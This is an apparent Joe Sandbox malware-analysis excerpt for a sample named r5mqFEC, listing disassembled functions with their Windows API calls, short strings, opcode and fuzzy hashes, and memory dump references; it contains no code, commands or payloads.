String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: 811dad91a6cb5d427c4990ea9dae4b73151ec778323f0f6956c133a57f0d70eb
Instruction ID: c8207203cb57aa18d4ba67d24b6ef0055cd6bab2e77c0a940083127ee38e0340
Opcode Fuzzy Hash: 811dad91a6cb5d427c4990ea9dae4b73151ec778323f0f6956c133a57f0d70eb
Instruction Fuzzy Hash: 696135B59533D0EBD7416FF5AC4E88A3BF8AB0D7123818527B501DB261DBBC60808B68

Function 007BDEF0 Relevance: 9.7, APIs: 5, Instructions: 2248COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9174db16255b7ba8b73c0bed7a02ab1b6a9a6ab35092d21ffafb9f5e1f87d07
Instruction ID: 118c712e9b713300bc32cd7012fcb7b3f8c46f16744bc6b05af38396d1f39836
Opcode Fuzzy Hash: e9174db16255b7ba8b73c0bed7a02ab1b6a9a6ab35092d21ffafb9f5e1f87d07
Instruction Fuzzy Hash: 40F26966A546D45FEF024AB884B53DB6FF24B6B730F6A278986F41F2D3C587010A9B10

Function 007B1000 Relevance: 8.6, Strings: 3, Instructions: 4838COMMON

Download Yara Rule

Strings

EFde, xrefs: 007B391F
!/>, xrefs: 007B2DDD
EFde, xrefs: 007B2DD8

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID:
String ID: !/>$EFde$EFde
API String ID: 0-183606976
Opcode ID: 1fbd4c6a69c4d3787ab14c1bd276c95e5fb02ea85bc7b027b55e00da3ce868b4
Instruction ID: 4c96773ee589f5e5c0ecb1b192836c07e63409946f12d33f45c83b71cbce2e17
Opcode Fuzzy Hash: 1fbd4c6a69c4d3787ab14c1bd276c95e5fb02ea85bc7b027b55e00da3ce868b4
Instruction Fuzzy Hash: 0FA34572E219244BDB64CE79CC8179AB2F26F99330F5983E96639EB2D0D7705E418F40

Function 007D17FB Relevance: 6.2, APIs: 4, Instructions: 206fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 007D18EB
FindNextFileW.KERNEL32(00000000,?), ref: 007D19DF
FindClose.KERNEL32(00000000), ref: 007D1A1E
FindClose.KERNEL32(00000000), ref: 007D1A51

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: eb24758fcb751a7a2544a062a09dfffe65bc32a68b49f7057d980bb66193dea6
Instruction ID: 73d6b0be31b5917b2ff6760bec9765882c281dd4f60fc7d1aeb64a430b3a9b3a
Opcode Fuzzy Hash: eb24758fcb751a7a2544a062a09dfffe65bc32a68b49f7057d980bb66193dea6
Instruction Fuzzy Hash: 2D710271D05168BFDF20EF289C9DABEB7B9AB45300F9481DBE049A7311DA385E859F10

Function 007CA464 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 007CA470
IsDebuggerPresent.KERNEL32 ref: 007CA53C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 007CA55C
UnhandledExceptionFilter.KERNEL32(?), ref: 007CA566

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 620750fbfd3475f21e1030367f74ed716efacfde4220179b8c0f3179fd70bd21
Instruction ID: f77595ba404e536caa05d3ce6799677b02efc45325e9baabc739433218ebcfc0
Opcode Fuzzy Hash: 620750fbfd3475f21e1030367f74ed716efacfde4220179b8c0f3179fd70bd21
Instruction Fuzzy Hash: 30310775D0125CDBDB11EFA4D989BCDBBB8AF08304F1080AEE408AB250EB749B85CF45

Function 007BFE20 Relevance: 4.9, Strings: 1, Instructions: 3648COMMON

Download Yara Rule

Strings

O^{, xrefs: 007C2702

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID:
String ID: O^{
API String ID: 0-1734921089
Opcode ID: f8e767515ef2d4b2095ee4ff194ee85789bdb1ced2365d2b09055f83b4006440
Instruction ID: 663897f1491442c595889bfc9e9c31ef3deebc20a65f4a7ad3df216f24349603
Opcode Fuzzy Hash: f8e767515ef2d4b2095ee4ff194ee85789bdb1ced2365d2b09055f83b4006440
Instruction Fuzzy Hash: E2435B26A956D44FEF124A78C8753DB6FF24B27330F2A279686E41F2D3C54B054AAF10

Function 007CCDEA Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 007CCEE2
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 007CCEEC
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 007CCEF9

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 6a0f88befad0fb76f9fcf39b89af152c1cf229c13a2eceff0edaf4a4024c9432
Instruction ID: 74d6053694d9cfe74c44dec144216280e2d878423879aa519903498084bbf62d
Opcode Fuzzy Hash: 6a0f88befad0fb76f9fcf39b89af152c1cf229c13a2eceff0edaf4a4024c9432
Instruction Fuzzy Hash: BA31A47590122CABCB21DF68D989B8DBBB8BF08350F5041EEF41CA7251E7749B858F45

Function 007C3D10 Relevance: 3.4, Strings: 1, Instructions: 2114COMMONLIBRARYCODE

Download Yara Rule

Strings

bz, xrefs: 007C52AF

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID:
String ID: bz
API String ID: 0-1364901316
Opcode ID: 6d8170fa802db168fb3e751c728f4f9cc46c4ba473d971029e5253809111c052
Instruction ID: 5c36dcb66f1d7dfbc3d5a995cbc5efe15fad8b842b28d02a6c37590d8d4546c2
Opcode Fuzzy Hash: 6d8170fa802db168fb3e751c728f4f9cc46c4ba473d971029e5253809111c052
Instruction Fuzzy Hash: BBF28C66A556D84FEF024AB884B93DF6FF14B2B330F6A2795C5E46F2D3C507010A9B60

Function 007D6FF2 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,007D6F4D,?,?,00000008,?,?,007D6B1F,00000000), ref: 007D721F

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 9b4cb4e9c7336fee0a9c071eb180951afa90c33007465bd58ca4fca993b239bf
Instruction ID: ada59a0d51fbd8406eaef56845be73014ec152e16db9b7805d4ad810272c5d60
Opcode Fuzzy Hash: 9b4cb4e9c7336fee0a9c071eb180951afa90c33007465bd58ca4fca993b239bf
Instruction Fuzzy Hash: 30B14A315146099FD719CF28C48AB657BB0FF45364F29865AE899CF3A1D33AE982CB40

Function 007CA220 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 007CA236

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 488a689dd792bf5246523e663ea8e9849891cb710813f5c5958cd43357c0b204
Instruction ID: bce70337286566d3dcd27345bd1283c9be7458053493dd19e3f52d3d9f0ae4e9
Opcode Fuzzy Hash: 488a689dd792bf5246523e663ea8e9849891cb710813f5c5958cd43357c0b204
Instruction Fuzzy Hash: 96518C719022999FEB15CF94D8D1BAAB7F0FB88305F14842ED405EB251D3B9A940CF95

Function 007CA458 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001A580), ref: 007CA45D

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 176814a2801191ba62dd49a0ebafb6ad4fadfe3a8fe9ae6d6b4f91685d595d1a
Instruction ID: 09466fb0f12d638b82e9fc9edf0f923c8b2af8453d4c7b30d6ceea9497cecb0b
Opcode Fuzzy Hash: 176814a2801191ba62dd49a0ebafb6ad4fadfe3a8fe9ae6d6b4f91685d595d1a
Instruction Fuzzy Hash:

Function 007CEFB0 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 007CEFB0

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 6bb303cf04f7bc15adebdbc2726d6eda7abdbdde1fa438efe98dfb6511ccc578
Instruction ID: 02b8f337c6a8df94813ee482c67ac4f756e03332863fb1bcccfa95819344ffce
Opcode Fuzzy Hash: 6bb303cf04f7bc15adebdbc2726d6eda7abdbdde1fa438efe98dfb6511ccc578
Instruction Fuzzy Hash: EBA001706032818B97429F36AF4A24A3BA9AA49691745C1AAA805C9660EB3894549B0A

Function 007C8270 Relevance: .7, Instructions: 669COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbf034800a80ec163f8e386d3c5d8e68599a4290f7f523e8163893a9977eae03
Instruction ID: 4e74c6ec6239ffd2db40ff43f441c3d469441739b3195c91a7d722206d5d2aa9
Opcode Fuzzy Hash: dbf034800a80ec163f8e386d3c5d8e68599a4290f7f523e8163893a9977eae03
Instruction Fuzzy Hash: 9522C076E942845FEF024A78C4A93CF6FF24B6B731F1E2759C9A06F2D2C55B010A9B50

Function 007C89D0 Relevance: .6, Instructions: 582COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cac3c7d8dbaf2e23a89da75bc5cbbc729ab53c4bde19780a0b479fb46ce5c9c7
Instruction ID: 5853f2abfcdf977afbc1179f19f9ea1d50ad18e04c7a9c89ee0b0f7898619ef0
Opcode Fuzzy Hash: cac3c7d8dbaf2e23a89da75bc5cbbc729ab53c4bde19780a0b479fb46ce5c9c7
Instruction Fuzzy Hash: D212B476E916844FEF014A7CC4A93DF7FE24B6B331F1A276AC5B46B2D2C557040A8B50

Function 007C6030 Relevance: .5, Instructions: 544COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf5b8f94411e8fe6a44955b8a2b48ce7e9291c57b7935b1831c2aaf6f5259116
Instruction ID: 2577ff0ab42050b1d6a18654b663a51bd0126033fff6bcf16a453a6ba5ddca9f
Opcode Fuzzy Hash: cf5b8f94411e8fe6a44955b8a2b48ce7e9291c57b7935b1831c2aaf6f5259116
Instruction Fuzzy Hash: 35129773E215185B8B18CEBDCC9569EB7F3AFD9334B2A832DA535EB2D4D63498018740

Function 007C5780 Relevance: .5, Instructions: 499COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2a752e136a95260d60e017c824f017fbca5e0ffe50edbb0b497957b5ec55772
Instruction ID: ff5d9f4655ccb6c0fc907563455c47ce35a270312e8a7d678473e9cadaf9db6b
Opcode Fuzzy Hash: d2a752e136a95260d60e017c824f017fbca5e0ffe50edbb0b497957b5ec55772
Instruction Fuzzy Hash: 03121C72E156188FDB14CEBCCC8169DB7F2AB48330F1A8769E539FB2D4D634A9408B50

Function 007B9EF0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9edd70fe53f94d479b3f3cc714dbf84a0f4436dae3fe2ab42451e090def864f
Instruction ID: 388f6b645c5022bb02736c192a9a5ea29cc7aa22b05d3954ab8542c16a76d8ef
Opcode Fuzzy Hash: c9edd70fe53f94d479b3f3cc714dbf84a0f4436dae3fe2ab42451e090def864f
Instruction Fuzzy Hash: 5BD0923A645A58AFC310CF49E480D41F7B8FB8D670B158066EA0897B20C375FC51CEE0

Function 007CE0F3 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 007CE212
___TypeMatch.LIBVCRUNTIME ref: 007CE320
CatchIt.LIBVCRUNTIME ref: 007CE371
_UnwindNestedFrames.LIBCMT ref: 007CE472
CallUnexpected.LIBVCRUNTIME ref: 007CE48D

Strings

csm, xrefs: 007CE249
csm, xrefs: 007CE19D
csm, xrefs: 007CE130

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4119006552-393685449
Opcode ID: e9d2b610f0d705e5999ffa464b206bb3d1beac181e17921bada8da2835b49cf2
Instruction ID: ab6243153db30eced478f33059f6d1c1b02b753070032cbaaccacb84218a544b
Opcode Fuzzy Hash: e9d2b610f0d705e5999ffa464b206bb3d1beac181e17921bada8da2835b49cf2
Instruction Fuzzy Hash: 70B14A72800259EFCF29DFA4C985EAEBBB9BF54310B14416DF8116B212D738EE51CB91

Function 007D5328 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,007D5313,?,?,?,?,?,?,?,?,?), ref: 007D53CE
__alloca_probe_16.LIBCMT ref: 007D5489
__alloca_probe_16.LIBCMT ref: 007D5518
__freea.LIBCMT ref: 007D5563
__freea.LIBCMT ref: 007D5569
__freea.LIBCMT ref: 007D559F
__freea.LIBCMT ref: 007D55A5
__freea.LIBCMT ref: 007D55B5

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 83090e51637cf35f66e31fa87d63074d8e424baf3338b0720bff689387d1f475
Instruction ID: 33cb36b44407ede5d714be99b652039c40fdde44e049c09e2f9c9599d15bcf9e
Opcode Fuzzy Hash: 83090e51637cf35f66e31fa87d63074d8e424baf3338b0720bff689387d1f475
